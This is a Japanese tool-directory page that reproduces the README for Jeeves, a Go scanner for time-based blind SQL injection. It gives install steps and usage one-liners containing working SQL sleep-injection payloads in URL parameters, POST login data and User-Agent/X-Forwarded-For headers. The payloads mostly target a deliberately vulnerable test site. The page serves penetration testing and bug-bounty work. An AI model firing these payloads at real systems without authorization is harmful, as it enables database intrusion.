Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに！

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/ferreiraklet/jeeves
脆弱性スキャナーウェブセキュリティペネトレーションテスト
GitHubferreiraklet/jeeves

Jeeves

時間ベースのブラインドSQLインジェクション検出ツール（偵察やバグ報奨金向け）。単一のURLまたはリストを受け付け、カスタムヘッダー、プロキシ、POSTデータをサポートし、自動化された脆弱性スキャンを実行します。

リポジトリを見る
21550444年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

made-with-Go

Jeeves


使用方法 • インストール

Jeevesは、リコンを通じて時間ベースのブラインドSQLインジェクションを探すために作られました。

目次:

  • インストール
  • 使用方法
    • ヘッダーの追加
    • プロキシの使用
    • POSTリクエストの作成
    • 使用のその他の方法

- インストールと要件:

Jeevesのインストール 💀

root@kitploit:~
$ go install github.com/ferreiraklet/Jeeves@latest

または

root@kitploit:~
$ git clone https://github.com/ferreiraklet/Jeeves.git
$ cd Jeeves
$ go build jeeves.go
$ chmod +x jeeves
$ ./jeeves -h

- 使用方法と説明:

あなたのリコンプロセスにおいて、SQLインジェクションに対して脆弱なエンドポイントを見つけることがあります。 例: https://redacted.com/index.php?id=1

単一URL

root@kitploit:~
echo 'https://redacted.com/index.php?id=your_time_based_blind_payload_here' | jeeves -t payload_time
echo "http://testphp.vulnweb.com/artists.php?artist=" | qsreplace "(select(0)from(select(sleep(5)))v)" | jeeves --payload-time 5
echo "http://testphp.vulnweb.com/artists.php?artist=" | qsreplace "(select(0)from(select(sleep(10)))v)" | jeeves -t 10

--payload-time には、ペイロードで指定した時間を使用する必要があります。


リストから

cat targets | jeeves --payload-time 5

ヘッダーの追加

構文に注意してください！同じでなければなりません =>

root@kitploit:~
echo "http://testphp.vulnweb.com/artists.php?artist=" | qsreplace "(select(0)from(select(sleep(5)))v)" | jeeves -t 5 -H "Testing: testing;OtherHeader: Value;Other2: Value"

プロキシの使用

root@kitploit:~
echo "http://testphp.vulnweb.com/artists.php?artist=" | qsreplace "(select(0)from(select(sleep(5)))v)" | jeeves -t 5 --proxy "http://ip:port"
echo "http://testphp.vulnweb.com/artists.php?artist=" | qsreplace "(select(0)from(select(sleep(5)))v)" | jeeves -t 5 -p "http://ip:port"

プロキシ + ヘッダー =>

root@kitploit:~
echo "http://testphp.vulnweb.com/artists.php?artist=" | qsreplace "(select(0)from(select(sleep(5)))v)" | jeeves --payload-time 5 --proxy "http://ip:port" -H "User-Agent: xxxx"

POSTリクエスト

POSTリクエストを介したデータ送信（ログインフォームなど）

構文に注意してください！同じでなければなりません！ ->

root@kitploit:~
echo "https://example.com/Login.aspx" | jeeves -t 10 -d "user=(select(0)from(select(sleep(5)))v)&password=xxx"
echo "https://example.com/Login.aspx" | jeeves -t 10 -H "Header1: Value1" -d "username=admin&password='+(select*from(select(sleep(5)))a)+'" -p "http://yourproxy:port"

使用のその他の方法

Jeevesは、gau、gauplus、waybackurls、qsreplace、bhedakなどの他のツールと組み合わせて使用でき、その強みを最大限に活用できます。


コマンドラインフラグ:

root@kitploit:~
 Usage:
 -t, --payload-time,  The time from payload
 -p, --proxy          Send traffic to a proxy
 -c                   Set Concurrency, Default 25
 -H, --headers        Custom Headers
 -d, --data           Sending Post request with data
 -h                   Show This Help Message

SQLペイロードのワードリストとの併用

root@kitploit:~
cat sql_wordlist.txt | while read payload;do echo http://testphp.vulnweb.com/artists.php?artist= | qsreplace $payload | jeeves -t 5;done

ヘッダーでのテスト

root@kitploit:~
echo "https://target.com" | jeeves -H "User-Agent: 'XOR(if(now()=sysdate(),sleep(5*2),0))OR'" -t 10
echo "https://target.com" | jeeves -H "X-Forwarded-For: 'XOR(if(now()=sysdate(),sleep(5*2),0))OR'" -t 10

Payload credit: https://github.com/rohit0x5

注意:

  • リダイレクトには従いません。ステータスコードが200以外の場合、"Need Manual Analisys"を返します。
  • Jeevesはhttpプロービングを行いません。プロトコル（http://、https://）を含まないURLに対してリクエストを送信できません。

このプロジェクトは教育目的およびバグ報奨金目的のみです！違法行為をサポートしません！.

プログラムにエラーがある場合は、すぐに連絡してください。

こちらもご確認ください =>

Nilo - URLのステータスが200かどうかを確認

SQLMAP

Blisqy ヘッダーの時間ベースSQLインジェクション

ツールをダウンロード